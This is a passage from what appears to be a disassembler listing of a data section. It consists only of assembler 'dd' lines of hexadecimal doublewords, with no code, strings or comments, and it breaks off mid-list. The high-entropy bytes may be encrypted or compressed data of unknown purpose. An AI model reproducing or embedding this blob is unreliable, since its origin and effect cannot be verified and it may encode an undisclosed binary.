6D802617h dd 6C6F9FECh, 74A200BDh, 1FFA7537h, 0E7021679h, 0EC66123Bh dd 0A0554310h, 72D2080h, 0D834A432h, 4CFCC138h, 0BF54FC74h dd 0E039D62Ah, 55AC8250h, 0AA52B000h, 0D101287Fh, 3577026Ah dd 0E7057D3h, 8B26D4C0h, 0DB18EB12h, 0F933000h, 0EECDD125h dd 66F3008Fh, 0FA4D9CF7h, 0F9489129h, 7C600008h, 0CEC7E754h dd 0D73A0388h, 0BBD08FC4h, 0C100A871h, 0C8352961h, 0CF2A8Ah dd 65EDF6FEh, 0A3258911h, 0C0B5BF00h, 0D549E37Eh, 0CD9D1CD1h dd 48C58E78h, 1851E900h, 7C263CEFh, 4E801846h, 0BACA996Ah dd 0EA2E1FD8h, 42544288h, 0B0D45955h, 92799D3Bh, 0AAB680FFh dd 309493Fh, 3C400596h, 0D3605Eh, 0A05D9EB8h, 70C70226h dd 9C40D03Dh, 0D946B6h, 8379ED5Ch, 8F3A56CFh, 6335190Fh dd 5B2E8045h, 0AEC3A6h, 827CD725h, 0A8116C01h, 43B0ED0Eh dd 98C62053h, 34E2D7Ah, 5744064Ah, 0B7A16086h, 0C025C4C2h dd 6F01F517h, 58BBA602h, 5FA9601Eh, 6574007Fh, 0D361EB76h dd 0E300C793h, 242E6BDBh, 713DD9Bh, 1D1C6F7Eh, 32C10EF7h dd 0DC399E2Fh, 34E2C66Ch, 8B001E74h, 0A60E3F2Dh, 54CC5F3h dd 3D052849h, 0DDA00047h, 0D8CF9CADh, 72261512h, 0C68AFC40h dd 30FE7D58h, 0DDF8C993h, 250ED2F0h, 0C4E81F74h, 8C905636h dd 79D71h, 6222C3E1h, 48DA7AAEh, 0DFEEA700h, 0DAFFAFCh dd 47FCC5h, 0EFBB4A7Bh, 40E97ADEh, 63F2BA1Ch, 5809E46Ah dd 8157DB6Ch, 69290F78h, 94C9CC50h, 0C0C6EAFEh, 0F85FAB10h dd 3C7982F6h, 0EB6A4A00h, 0E8658890h, 40EA00F1h, 132C0603h dd 9402EC89h, 7E306EF4h, 0B8A4E378h, 136B3E11h, 71CCBC9h dd 0C3A629ECh, 0F8000C30h, 0C5148060h, 3D4F98EBh, 8CDDDF8h dd 173B211Eh, 3D70E5Eh, 0B625D780h, 0B2008F0Bh, 0D84CB519h dd 0B777A9h, 0DEB197A2h, 0CE21CDBh, 0E129EF00h, 0D337DA5Fh dd 64BA4854h, 0F4748B00h, 0F3B8BD16h, 25806900h, 41E723AAh dd 1F151CB1h, 60E84076h, 53444987h, 0D8EE0F27h, 0D811C053h dd 25AF59E3h, 89B26528h, 0CA8E1A00h, 2A365AFAh, 9FD83D86h dd 0F2A68380h, 3A4640D4h, 1D7FA307h, 680A28Dh, 1B412Eh dd 0C614ECBBh, 2B92F918h, 0C4B16600h, 557D6567h, 0D3AD00A2h dd 0B6A7D672h, 68046282h, 77845705h, 0F13A70C0h, 0A6790019h dd 5B112AF9h, 0AA00E0B1h, 1DA15E28h, 1CC39EFDh, 4022061Bh dd 0F4604365h, 0B303987Fh, 14D92A7Ah, 4C4000DBh, 4A85C7B9h dd 4B7B890Ch, 9F249E00h, 0D74397CBh, 0DE10607Ah, 55B41A93h dd 0BA03B57Fh, 0BC92BF56h, 0C0A9B3ADh, 1CBE0Bh, 66D8A071h dd 533369ABh, 0D2436E0Fh, 82A980E4h, 4808A54Bh, 0DA50C842h dd 0C20E00BEh, 9AF4334Dh, 7D16D2D0h, 3405B795h, 4CD7ABE0h dd 0D5C0CC35h, 90F8D457h, 0C3350018h, 0C4AB6517h, 0D303A109h dd 3BD991DCh, 42A387AFh, 64D18078h, 0B60400ACh, 0B7B3FE0Ch dd 0B03B2811h, 0ADF000C1h, 9FFA3FC5h, 4E470163h, 0FF9D49BEh dd 0C48C2440h, 51BA4100h, 27CFF087h, 64E5001Fh, 80B4675Eh dd 0BC5C5433h, 5F07C97h, 10536630h, 3792037h, 0FE8D2AB5h dd 9EA04ED2h, 0C3EA6440h, 6D151D00h, 0BD6FB93Fh, 0CC75482Eh dd 9C9C7C3Ch, 4EC84017h, 5E742D8Fh, 0BCD0C402h, 0A790B6BBh dd 46801784h, 0F957F98h, 0B0F016B9h, 0BA93F321h, 0AE80BD22h dd 3E401426h, 74E644F0h, 0BB68142Eh, 370024FEh, 51EA350Eh dd 5800C0C6h, 60CC86C3h, 7C211F41h, 0D5BD0002h, 0B1477088h dd 25EA2B37h, 956FAB18h, 45CCF30h, 0A65FCEBh, 60CB80DCh dd 0C60024B8h, 841C87B3h, 31A302h, 0BD86F87Eh, 1721B2BBh dd 0AA3FF93Fh, 9F7DB055h, 534A4D12h, 47C44C8Ah, 8F050042h dd 0F5617F0h, 7A22AF1Ch, 0A6CD9820h, 3E00AB97h, 0BB7D262Fh dd 0F043E260h, 11CF000Fh, 0CBD884C2h, 3D00D02Ch, 6EED9B8Fh dd 0AE905h, 531071CAh, 79B37C69h, 56A08085h, 0CEA835B6h dd 0AAC2BF00h, 0E0728D5Ch, 3AE81270h, 0E23C4543h, 0ECB5004Eh dd 14B72153h, 0FF832716h, 1E6A6C00h, 5C3EB53Dh, 4A00CB4Eh dd 8247D3B0h, 6F00C891h, 17E09C5Bh, 7F1BC4h, 7D69FD50h dd 7EC5F968h, 0E131DB00h, 8EE9B618h, 0C0DA000Ah, 2B3D5D45h dd 0D89811C3h, 0D0B2B300h, 470539A1h, 5BA40017h, 0C00B77F9h dd 9300C618h, 0BD11666Dh, 0FEF572h, 0C2C8B46Eh, 2B4165DDh dd 1879E200h, 0E7EDD5C3h, 0C511177Dh, 0F2B0006Ah, 7E6E3AC0h dd 0A210696Ch, 0CABD000Eh, 0E95EF522h, 5D7D3E15h, 0F70AAB7Ch dd 0E06B5510h, 9CF92D85h, 789E0580h, 7F20089h, 8F1B3275h dd 0CB16FC60h, 0A400118Bh, 5F204017h, 230303FAh, 779E14DBh dd 859D7026h, 0B273505h, 98E3A8C0h, 37558022h, 8482DA00h dd 48EABB5Bh, 85CF0310h, 24A2A7Dh, 0B86D1188h, 7316DE00h dd 20A62CBAh, 9BD72EC1h, 0E1BF0FDCh, 3A4EB500h, 7D3A5936h dd 9F038073h, 85191891h, 0C31C0168h, 3EB20DBFh, 302221h dd 2392E76Ch, 489FAD5h, 3122E8E4h, 37CC8038h, 0FBE6E1A3h dd 0EE5FD4Ch, 0A12B42B3h, 0D6CA8CF8h, 0D4A2ABC3h, 9E1EC3h dd 8E8B0D88h, 7DC1E5DBh, 8909D971h, 8070A85Ch, 1AA35AB8h dd 9F170018h, 9D879680h, 0DDFCCEEBh, 2AF12500h, 4FA47395h dd 5C7B4871h, 0B24C0F00h, 1E17DFA0h, 6100DCB8h, 4519A67Ch dd 0F943F21h, 0A2807D9Ah, 0B4206E09h, 0CF7E6AC6h, 4A286BFEh dd 5600F3CBh, 4E5337F7h, 3CB18E11h, 0F980A7DFh, 0DDC045CEh dd 0A83A2CE4h, 22D68063h, 954AA12Dh, 49390064h, 0EA8D05A5h dd 1700A670h, 9787F71h, 0FC11A5Bh, 0B7BC23EFh, 0AC4E5800h dd 430675F3h, 3AD03CECh, 4324291h, 0B8DEDAD1h, 0EC1F9CB0h dd 0B624006Dh, 0BA094921h, 0C70E8898h, 60BC5956h, 0AA395AF9h dd 3FB10008h, 15C976D9h, 0AC0023D2h, 361BA042h, 37D07F0h dd 9329C2C4h, 11E83234h, 3F000287h, 0F61A9E3Dh, 0B8A6A4h dd 0DA8E4D9h, 3EBB4C23h, 86B2C43Dh, 2AC92F4Ah, 7F630090h dd 0ED2C84A8h, 0EC135A87h, 15144CEBh, 5D2700FCh, 12536336h dd 0F43230EDh, 0EF5F2D19h, 0C76E0100h, 0A2946F47h, 70FA487Dh dd 52A4C07h, 0EC5B61CFh, 8468E6A3h, 103F46A9h, 0C8E48EEEh dd 0F224057Fh, 92BA2380h, 778A0011h, 0CE82E39Fh, 431FC56Ah dd 6E80C9B6h, 0BB72F051h, 0CD700E1Bh, 0A801E3Ch, 21FCDAF5h dd 676590C0h, 337F9EEh dd 0A3E2AFE7h, 9DC07095h, 697B6EDBh, 648E0924h, 0D86B9000h dd 1D859521h, 4029A9EFh, 0DD96271Dh, 0DB006FC5h, 41E660E2h dd 6BA635h, 4C208C2Bh, 9BB6F207h, 79B0CB07h, 0C224DE21h dd 9A04F4h, 1805720Fh, 8F8202EDh, 5DBAD900h, 1EC0CE7Fh dd 6A9D0026h, 8859A6FFh, 0E4054A31h, 9808731Fh, 0ED3D400h dd 170B050h, 0E576A59Fh, 0CDE6A3E9h, 18282052h, 1D9CB400h dd 36C973Ah, 39B90080h, 19B28828h, 5C00C68Ah, 1687C8DBh dd 0A42523h, 532D3ABCh, 63442015h, 429C9112h, 0AD4DA400h dd 0E78B051h, 0D7644FF2h, 3E7707E0h, 0E60031AAh, 754893ABh dd 462C628h, 9105E7Dh, 0B01E8498h, 6309AC04h, 40C265B5h dd 7BB03FCh, 7B10746Ah, 96E2B3AEh, 88FE70A0h, 1598272Ch dd 0B7600302h, 7F6068A7h, 0BC6C0167h, 0AE1D6FE1h, 4DB02079h dd 5A9DF700h, 0B19E2DCFh, 186160B4h, 7BE4F1CDh, 0CC913526h dd 0ABC00C87h, 4000D3BFh, 59130199h, 47CB1F83h, 0FED51641h dd 6CB47B00h, 0E8556B20h, 35E60057h, 0E9AC454h, 6003E92h dd 5BF9660Ch, 0E667A3F5h, 0C0D55033h, 1982Ch, 600E894Dh dd 9FB1341Ch, 0CA26C70Eh, 0F15F2041h, 262A5D08h, 0CBB085h dd 979D7825h, 2300FC5Eh, 0B17BE190h, 0CFA871h, 0BDC122A7h dd 0C515B3Ah, 0AE131601h, 32BFFC47h, 0C83815F1h, 6DD68A01h dd 709406F4h, 0D0C0822Dh, 1AAFF74Bh, 99240076h, 0C4D0DF62h dd 9600C74Dh, 56D5E34h, 0E480CC0Ah, 4B513CC1h, 4A52DF80h dd 2FB87CAh, 0C00B273h, 14FC42B6h, 0FCBEBh, 26F0F684h dd 0EBC9738h, 28E94600h, 56D5DBFAh, 8E8900DDh, 68582E3Dh dd 1F0ECA59h, 604A4051h, 0C9988CF6h, 0D65E00A8h, 0CEFE63BCh dd 91011903h, 0B5872BCFh, 0A5DC2C1Ah, 6528001Fh, 86440180h dd 475CE3F4h, 784300E4h, 0D61AD2Bh, 185B0150h, 9A7B72E7h dd 0E99CFCBDh, 1A19B104h, 15C09D3Bh, 446C0F5h, 689EEEF0h dd 1E60A042h, 0F83BB100h, 4CD9647Ch, 289644h, 0E19E6171h dd 0AF177209h, 550148D0h, 54BA1E9h, 0E09940F4h, 90B51D83h dd 8A178032h, 856265DAh, 0C8771400h, 3616114Dh, 3C29E1BBh dd 888E3F12h, 0B3834E50h, 0D0B2A387h, 0A0E23FDDh, 0A0B4BB10h dd 0EC291Ch, 4176758h, 5A696B5Fh, 64F03A7Ch, 0CB0C5E00h dd 3F72A71Fh, 47ED017Dh, 3BB2651h, 0A00C837Fh, 61D9B4h dd 1F5F1558h, 3F46BA35h, 0E1B5710Ch, 3B37036h, 7FF1F027h dd 58022D4Bh, 0BBBF1656h, 35448005h, 0EC026DDh, 48461AA8h dd 0A0491C04h, 50013D4h, 82ED1E0Ch, 0E4387150h, 0B8123CB4h dd 0E6FA5382h, 5D40327Ah, 797BB540h, 0F5C1F203h, 0DF8E935Dh dd 712887A0h, 3B83779Ah, 520048C5h, 5F29D334h, 0D213F8A7h dd 20407D37h, 0B080AB22h, 0B2170087h, 0F7CADA6Ah, 0FF3837A6h dd 7B510002h, 784975F5h, 431B0014h, 0FA98280Ah, 0EE584FF1h dd 88D80004h, 554E0689h, 50E5001Dh, 778EAACFh, 301E2B8h dd 7FE4BF56h, 0E5C86102h, 0AD980052h, 7E82906h, 0E000E285h dd 8158AAAEh, 57E467h, 0D8FE7C09h, 0FB0F50BCh, 7333C900h dd 13FC5D6h, 0CAD767F7h, 47FFB086h, 204A38E2h, 0AB04FC50h dd 0BF00B5B8h, 432BF4CBh, 0A52298B7h, 0DB13582Ch, 9400C48h dd 18896Bh, 5F837CCh, 0B5513DF1h, 1F413807h, 1C362013h dd 57326AEDh, 10FC290Ch, 2389715Ah, 2D442608h, 8F044420h dd 20476F44h, 54221E33h, 18C42228h, 4273D122h, 90511EBh dd 0BB14A821h, 80F2128h, 2C9F46CAh, 6E502262h, 45EA08E3h dd 1482FE47h, 7724CD35h, 17A16820h, 8119F480h, 1B60D272h dd 0D507EF24h, 13D98D7h, 4D079ED0h, 2B170055h, 0F46646B7h dd 481638EAh, 1400B881h, 4D01394h, 0F83300A5h, 0CD2EB474h dd 0B61C4EDEh, 0CF03F70Eh, 80C60A11h, 1DEF1CB8h, 4306C1BCh dd 2E94159Dh, 46DCA1A0h, 9BF0AF0Fh, 650809Ah, 24227B8h dd 549E4381h, 0D8771D6Ah, 6DCE3981h, 4B38FE01h, 0D8C89850h dd 4139F652h, 42FA405h, 0A0D1FC80h, 0EEA3D832h, 4D71007Eh dd 68807F52h, 40001372h, 8D847358h, 7C2772Bh, 0F90FC51Bh dd 0C0279099h, 0D3012CCCh, 0B750AEEBh, 93F08CB0h, 12440088h dd 0C3312745h, 3C901D52h, 43B1FD00h, 0E104CECBh, 489B00F2h dd 0C45CD3A3h, 24008749h, 8473A0Ah, 3052Eh, 29E1A5DCh dd 87DB679Dh, 40ED4E00h, 54277420h, 63D907D4h, 9A8F4B55h dd 0F7E940CCh, 97011EEDh, 7154B7CCh, 4DE8F4F2h, 123E30BBh dd 47B280BCh, 2DB71000h, 8B96CE74h, 5AAE0070h, 0E1179F14h dd 0A401349Ah, 0EB5032EFh, 0A3708E4Dh, 21FA0FD3h, 0E6C07960h dd 0FD5AC0B1h, 801EF539h, 0EEBC8DC4h, 0E51455h, 15E44A7Fh dd 0AEA54188h, 96D55900h, 346BEDCDh, 0BD0A0084h, 26CA8F3Ch dd 0A45CFD7Dh, 0C49307A0h, 43604515h, 50DF995Ah, 349C71h dd 0F9698A4Eh, 0EB9808DEh, 51224C04h, 0C80DC11h, 74F4AB05h dd 0A76F0EFFh, 0D79167h, 0A2D0886Ch, 3A0075BFh, 0BA5A815h dd 29F6E7h, 77FD12A7h, 61BB7FACh, 5200B0E8h, 821D1070h dd 1263CF9h, 215E85A6h, 0E432EC96h, 0E748B1D5h, 70067F10h dd 3953BBAAh, 90930128h, 55E66A19h, 0BC14208Ch, 68CF1200h dd 2A3D58CBh, 0E23B0462h, 839DA086h, 0FE905F1Ch, 0F148746Bh dd 35520148h, 0B66DF94Dh, 9A6AACD8h, 0BFE7154h, 4AC80876h dd 0AD00708Fh, 9D156757h, 0DD93440Fh, 8EA080F1h, 0C3FA13h dd 4624D24Ah, 6F7FF055h, 38A01460h, 5A483Bh, 90780B2Bh dd 5E9B8246h, 0B9E68B03h, 901CBA6Fh, 952A67h, 0E5AE5C26h dd 0F3576C8Ah, 20206B24h, 19636500h, 84DC91h, 8175D83Bh dd 87C26177h, 71F89F00h, 67F25E68h, 0CC30005Fh, 23D9CFE8h dd 9671B256h, 0DD00E671h, 5D3EEC01h, 0BF53BB0h, 36C6B8B4h dd 9B12F460h, 0FF681102h, 0E08D19E9h, 3D1E87Ch, 0AB772FF8h dd 0FE90B254h, 0F6009036h, 8318999Ah, 7E756BA2h, 0CF5500F7h dd 0DCC6D8BDh, 0B100232Ch, 9E5DAD2Eh, 110B66Ah, 9F1CE58h dd 0F0E1CBA0h, 5748A575h, 0A8BE00B5h, 0A10FB5D5h, 6EC20034h dd 0DB7A1E62h, 9D00B325h, 35917B4Bh, 0EF92A0h, 32126184h dd 0DEBBB9Ah, 25F60E00h, 0F20B898h, 0B1094C99h, 0CC55BE01h dd 4013E538h, 0AB40F9A0h, 8C00C178h, 2FF3E71Bh, 0EDFC46h dd 0B798EC5Ch, 76D8A43Fh, 134CCE01h, 0D077D503h, 5FD21080h dd 3734F9C4h, 0D161A00h, 0D9EB116Eh, 493E0007h, 0ED575405h dd 0F42CE10Ah, 958774BDh, 0A20070C5h, 0CCBADFh, 72ACADCFh dd 0BFD8D5C0h, 61109A00h, 54B564DBh, 927D30E5h, 28772C68h dd 0FC4B3F00h, 94839E3Dh, 3A898B3h, 0DF65E1F5h, 61D0C660h dd 5D48A466h, 1608000Bh, 80225112h, 2981C884h, 435CF102h dd 0F344433Ah, 4071FA7Fh, 31BF2B5h, 1C16EC66h, 23C96B8Ch dd 59FCC4F7h, 0FE3DDD00h, 970E6331h, 279009Fh, 6636A34Eh dd 12132CA8h, 0F40855F8h, 0E57D6019h, 5312E7EBh, 0A0416F09h dd 9782A245h, 2B8E90BCh, 114028C2h, 3649EC7Fh, 0E86C6400h dd 0EE59A1FFh, 34480784h, 0A6F93Ah, 0EBBC4998h, 0AD77FC09h dd 0E7048022h, 31C9733h, 0BD7C2337h, 0CCB8D0EEh, 380090A5h dd 9D4A14C0h, 543980ECh, 9B3B092h, 0C78B0376h, 4DD14880h dd 0AF002D43h, 919C0596h, 59670Ah, 8CFDFFCDh, 83E590BBh dd 37569826h, 0A0F6800Eh, 0B5C70347h, 0C47FB6h, 55C3A457h dd 69D3A29Fh, 2D64171Dh dd 820678C0h, 1E26FDC0h, 0A761354h, 1C81BA7h, 7CF21524h dd 0B840E06Fh, 4A319900h, 3E814722h, 8DAB0020h, 0B3A0CA65h dd 738DFF1h, 50BE00C3h, 5B37F3CFh, 1DA400AEh, 9A02FFCBh dd 46003019h, 76EDDCF8h, 0B0E86DFBh, 0F1E903F0h, 0F535E5E6h dd 0E7F14BCBh, 0B7844013h, 9D00B4C0h, 5CB83402h, 0D329Eh dd 45C1EF9Ch, 7D6DEC82h, 0A8506628h, 3F037871h, 7CE7A69h dd 96ABD05Eh, 0C4632881h, 0C7F000E0h, 984A8605h, 3B00A3B9h dd 8A55D06Bh, 3F091096h, 0C81BA97h, 2A2AE95h, 0D66DFCBDh dd 81B85B00h, 0CA775566h, 0DCFD00FBh, 9BAB08D4h, 0B4003F1Bh dd 9A3A15Ah, 1EE2D0C3h, 0C0A6AC24h, 522764DCh, 260E29DFh dd 0A05C4BA1h, 437F77F1h, 0D3DE3930h, 8F617980h, 3E948636h dd 0A727E600h, 0E226A1BAh, 9CEA0439h, 0C0BE6E4Ch, 85493B8h dd 6A654B00h, 7DCA467Ch, 2A4C266Ch, 649200B2h, 4FACE69Eh dd 686EFB24h, 0E7D2B000h, 0D0C5E4h, 0AD574BB5h, 3E9D24BFh dd 8120A30Fh, 3133A00Dh, 7DEC2C0Bh, 0EF5E001Dh, 450E86F4h dd 907DD9F1h, 92052AB8h, 1601B5ABh, 0C3C08480h, 0FD890C8h dd 0C96F22AAh, 9B2D34E1h, 59F030B8h, 5B0B9DEEh, 80437210h dd 4EE915D8h, 0C87E28h, 248CAEA4h, 7C29554Ch, 80910A3Dh dd 0A8273CD8h, 0FD7995Dh, 0E3DC1C8Ah, 0A42CA4D4h, 4A9F3B14h dd 2816CA7Bh, 627205F4h, 0D66CC055h, 9C01793Ah, 324DB3C1h dd 0FC500A35h, 1E2A80h, 0C24110EEh, 6D038ACh, 0FB74C100h dd 0F1275748h, 9D89005Fh, 98A124E0h, 0EA00CDB5h, 1F699BA6h dd 50C61Eh, 3FA82C63h, 0B7D6543h, 713413Dh, 6CC01D27h dd 234E011Fh, 0AB6006A2h, 855D01DFh, 40361C96h, 2E38FC4Ah dd 0B547BC07h, 28012CCh, 3D8ABE91h, 0B8B944F5h, 0FB0700FFh dd 0EE1308E2h, 9400B9ECh, 0D4BEB772h, 905FCA61h, 186307FCh dd 7015A227h, 0CB3EAC65h, 0C4A63703h, 0F8E582F6h, 27F9684h dd 0F1C29367h, 0D1C07A8Fh, 29004B8Dh, 0F97B8E4Eh, 0F85F6E3Eh dd 0E552005Eh, 0D6C64943h, 2800F1A5h, 13B57AB1h, 0CE39A4h dd 5496B875h, 7BBBD8ACh, 44982F09h, 0FA140035h, 603CEA91h dd 0B3E41040h, 5A036BF4h, 289F0A05h, 0E5A80038h, 908209B1h dd 0C4001AA6h, 0ED9130FFh, 0C7D48Fh, 18A839D5h, 94A42B79h dd 0C8AF5100h, 6507413Fh, 46A7150h, 5657F915h, 0ECCD071h dd 0B3006FFFh, 0B175ED0Bh, 73385h, 0D14324C5h, 0E09640A8h dd 0BC62CA00h, 0EC759C52h, 67BF009Fh, 71B5C369h, 0DC00D860h dd 2737B062h, 98892AADh, 0AA6E0B30h, 9890581Ch, 0A91EC2A8h dd 3A00DBA7h, 73ABD147h, 1E2C90BFh, 185FF42Ah, 57C01105h dd 0CDEE0F00h, 3670840Bh, 0B0A9627Bh, 0E5425553h, 803B4854h dd 3258F1C5h, 0E8FCC7h, 0E1D20B0Eh, 0D91DCB41h, 0E940FE00h dd 252C6E4Bh, 14720138h, 9E424EF2h, 0D080E674h, 3A8CAF7Bh dd 3B19CE01h, 0CDBBEB05h, 287830h, 0AC2E51E7h, 0EC867CFh dd 0FFF0A62Ch, 0F3F48600h, 7D214Ah, 0D159DE4Ch, 4FE0355h dd 20E2FF00h, 72DC5DBBh, 183F0093h, 8279664Bh, 0AC00EF19h dd 2FECF603h, 0D13C2Ah, 3D65FA93h, 0DF98A7B0h, 85613Dh dd 6352E95Ah, 0EC0BA3E0h, 8A6800BEh, 0F45321E2h, 0D30FE801h dd 0E0772661h, 0B9AD5892h, 1CF5741Bh, 40878B28h, 0CD2DA933h dd 0D90E52CFh, 0AE2BBEF3h, 602ACB25h, 0E1BB40h, 0F72E214Fh dd 6FE8F3Fh, 15036496h, 8A22ED14h, 0C1A28EFFh, 79AEC098h dd 5F2BCCh, 2C38BB43h, 5A80BC9Dh, 75066C02h, 60BAB8F5h dd 5367850h, 0BF43B1F9h, 0D94DC098h, 64008495h, 4CA09763h dd 0F25CC0h, 0C6B8697Fh, 14467401h, 1D67A200h, 0B0E1EFECh dd 20A4876h, 9180DE3Bh, 9EA9F701h, 60038DE2h, 0C1AD1877h dd 3B04807Dh, 4FB71FFh, 746BA9EFh, 75ED804Eh, 9B000969h dd 45F4E725h, 3E9085h, 0C479C1EAh, 6FDB674Ch, 9E5E403h dd 0E0C02C49h, 3E47E2h, 0AA66A2B4h, 9D12AEF8h, 0F607901Ch dd 6240715Ch, 0BD10DFDDh, 955079Eh, 10BF92AEh, 0CBB5DB69h dd 5BD8AD1Fh, 25DFD1C5h, 3D1F84C0h, 12FD0705h, 474BF30Ch dd 2AC0BF5Ah, 84A9A86Ah, 0A034F01h, 0FCE6D0E4h, 0E700D438h dd 341F8F73h, 87B8A9FEh, 2BF82E01h, 0E92ADC21h, 9900B444h dd 0D43463BDh, 71852C0Ch, 0CEF49E10h, 0BEEE500Fh, 0EC938080h dd 0CC00FEF2h, 0A927BA55h, 0EC1E1D7Eh, 222400F9h, 0D2E634B0h dd 26002BDAh, 9FFCD9B9h, 925DD1h, 0F637BC90h, 8E0787E9h dd 4A1FC492h, 0B7802873h, 16E1781h, 0B80300D7h, 0DCCFE72Eh dd 0CC1E4A2Ch, 4E80BCA7h, 99A0B170h, 763B893h, 548D6AF2h dd 64FDB014h, 39005B32h, 9E5DC476h, 3DE8B0D2h, 341C6757h dd 60CE4095h, 8E5F735h, 86E05403h, 905C4DB0h, 739C4Ah dd 0B3A67B3Dh, 0E3D6B970h, 2DB5BB00h, 0A32FAFF1h, 0FDF4C5h dd 5E298FD3h, 33DE1C43h, 8BE4BB02h, 68BDAB3Eh, 10AE52Ch dd 14A703C6h, 81B52FEEh, 7E0FA618h, 4C30C0D4h, 72660090h dd 0DD3AA05Fh, 30F7CF3Eh, 0AF1D0370h, 5D8049D2h, 0D6304A81h dd 3D8F0182h, 0FFB6B5D5h, 0BE4080F2h, 968DC86Fh, 88904C53h dd 0F409B306h, 720021C4h, 25E2FA2Ch, 1E9DE91Ch, 0C98921A0h dd 800067A7h, 0CB8E2F7Fh, 801EEF00h, 56CEC69Bh, 0F8A600AAh dd 9733A914h, 0E100D1B3h, 2EE70E5Bh, 9043CE5Eh, 0CCB026E3h dd 96F2001Ch, 1FDC91C7h, 80AF113Fh, 5AC39AC1h, 0A11E40h dd 39C0A7CAh, 45BBF472h, 78A5CF30h, 7CD959h, 0DB5ECB65h dd 20534F22h, 0C36C1C5Ch, 0B70AE455h, 68823F20h, 6E86009Dh dd 66B432ACh, 0D1E0F28Fh, 0E8EF772Ch, 570DDF00h, 5202F3h dd 549E68A4h, 0E4D587E5h, 3EF4A3Ah, 91D48B5Dh, 0F89C9332h dd 0DAA3E2h, 0F3EBFC9Ah, 31AE6E62h, 8ACB8700h, 0F2E95C29h dd 0A54650BBh, 0A454125Bh, 0C19C0BEEh, 7A06BB00h, 4300E1AAh dd 785322B9h, 158FF9h, 23BDB76Dh, 1CA7B69Fh, 4B46851Fh dd 78172980h, 7A1496Ah, 2B45F535h, 0BEFCA024h, 59002C95h dd 49349897h, 1F136A27h, 0C0EEBB0Dh, 8F1A7877h, 0B2016561h dd 0C672B535h, 0FDF4ABD8h, 7D747875h, 53C008Bh, 10162A61h dd 0F500249Eh, 44DD51B7h, 13AE5D5Fh, 0B44972A3h, 2D26CA88h dd 758028F4h, 89175B7Dh, 0A491EE8h, 0D63887AAh, 37203C18h dd 8515F500h, 738A1B68h, 13E92689h, 0E391CE8h, 169EF1h dd 0C51929E7h, 4D1EFC14h, 0E8249F4Ch, 91B56C00h, 228D4E8h dd 0C17911A0h, 2C604C6Bh, 0F55A3A5Ch, 3E93A440h, 7D9AE8h dd 0FA34C531h, 0B19F87BFh, 0D5BE7400h, 77DB0C2Dh, 3070F44Bh dd 9621AE58h, 1E79E4F9h, 9C8A4E3Fh, 0C38068A9h, 0CDC70165h dd 3EC53F74h, 180F8C0Bh, 0BCC0CD0Bh, 632E6520h, 0C400333Ch dd 480CE2F1h, 769E0423h, 0B9712A16h, 0C6D70038h, 4B037BF1h dd 0D1C4005Ah, 0ACAD0936h, 6930DF3Ah, 781E5005h, 4614A0C5h dd 0F492028Bh, 0C335B98Eh, 0DF02343h, 0B9C0A964h, 1F5EC56Ah dd 0D741006Dh, 631E7F74h, 8F00C6E4h, 275A6C3h, 3DB4B6h dd 3277F89Ch, 5E7F52BAh, 0ED20B10Eh, 84FF6325h, 71CD929Bh dd 0E99C0074h, 0C14E9F2Dh, 994DE601h, 64D8F522h, 808F24AFh dd 0DF614B20h, 2F005950h, 7B0FBAFDh, 0E61FC8C7h, 0E2630304h dd 0E06CE8A6h, 0F46989D1h, 353CD191h, 2CE100A5h, 16C9CF3Ch dd 935B058Ch, 0C0217E01h, 2087BAD4h, 0E3A69412h, 9CC0BC12h dd 0E28DB0h, 0AA3E1574h dd 98240F0Dh, 0B5548100h, 5A65D375h, 38D4E582h, 39CEF2B8h dd 8890678h, 40C049E3h, 8AF801F1h, 0C920B66Fh, 6BE78011h dd 3A1ED46h, 93E93DC7h, 941EB0B4h, 867AEC7Eh, 0B64D4961h dd 92F33A19h, 1003358Fh, 434ECA45h, 6ED2DA88h, 1CC361F8h dd 322ED716h, 10B68462h, 0FB7620C9h, 38029B00h, 0DDCAEE12h dd 0E57A0087h, 0ED1B39BAh, 7E7C3DD3h, 38A62C00h, 0A54BC141h dd 355C0271h, 3DC3987Ch, 19801840h, 80BD5E3Fh, 656C8C2Fh dd 282955h, 0D29A64A3h, 0CF8171D0h, 0C31DD4FDh, 920C50C0h dd 3ABF035Ch, 0C000C7B9h, 0DE13F001h, 2C003B55h, 0E1DCD75Eh dd 0B67A0AFAh, 8D890770h, 10809F2Fh, 6BD68B29h, 49383F00h dd 3D592B65h, 57C10078h, 2EFFC39Ch, 0F31F4630h, 0EE06944Eh dd 7BD69017h, 870D0049h, 2BB8EB89h, 3D0085B7h, 1DBD2C4Ch dd 0B1300Fh, 9490CA46h, 3B649F88h, 2B5D439h, 4F96AA7Ch dd 794CE08Ah, 56B3009Ah, 50CEBAABh, 9D002773h, 7B5AE8ADh dd 7AAA8EE5h, 1938007Fh, 31C59155h, 7A16D42Eh, 0A4408525h dd 78432BC2h, 93900EFh, 586FD996h, 0FF00E767h, 4282BB27h dd 0E0858804h, 0C9280068h, 9C72B1A8h, 80734A05h, 6AEF1C00h dd 3C85EC75h, 609E4962h, 8767DA09h, 0E504346Ch, 0B046288h dd 0C0F5E490h, 59F407BBh, 97EE1FB4h, 0A1F770AAh, 7E5F16F9h dd 0E3692800h, 18E29111h, 6238E85Fh, 4490C81Ch, 0FA92E703h dd 0D8EBAD15h, 0BE757A31h, 363C2B2Ch, 28585820h, 0A8E22480h dd 0AF40CA18h, 44400089h, 0DF1815B4h, 0A400665Ah, 0EE285098h dd 0C0CD2D31h, 0EA42B728h, 27E89D06h, 98002BF8h, 0C61AAB3h dd 72AB7BC1h, 38830422h, 0D21923C0h, 44E8AF64h, 852C319Dh dd 0AD03319Ch, 0D8E445EEh, 0E6A3E8D9h, 0CDB80059h, 26CE6FC8h dd 0DE00466Ah, 0BF69F50Ah, 375C8C98h, 90F88B60h, 2E3B17FBh dd 63DDCF04h, 92C0B172h, 9F81D7h, 0F7768486h, 53A695F8h dd 0DA0A3D00h, 0D4BDB1F1h, 0C85F1461h, 8C03BC9Dh, 0C14FB315h dd 9B43380Ch, 0B23C24h, 0A6B6574Bh, 279C1214h, 0FC9270EBh dd 560085E0h, 0BD444D0Bh, 0EE026Ah, 6099D378h, 7B11B6B7h dd 9AC6B100h, 54C4D4B0h, 82BF0025h, 4C975221h, 6A00C912h dd 30159698h, 3CF7F3h, 48A66116h, 0D1F53B31h, 0F2AFAE13h dd 4D8EECB0h, 6D003C7Fh, 0B3060BEAh, 0A3004485h, 0BF2F51C3h dd 426216h, 1DD43CE1h, 251C6CFDh, 46E9E800h, 5BE0F235h dd 0A7E1485Ch, 0AA2CA000h, 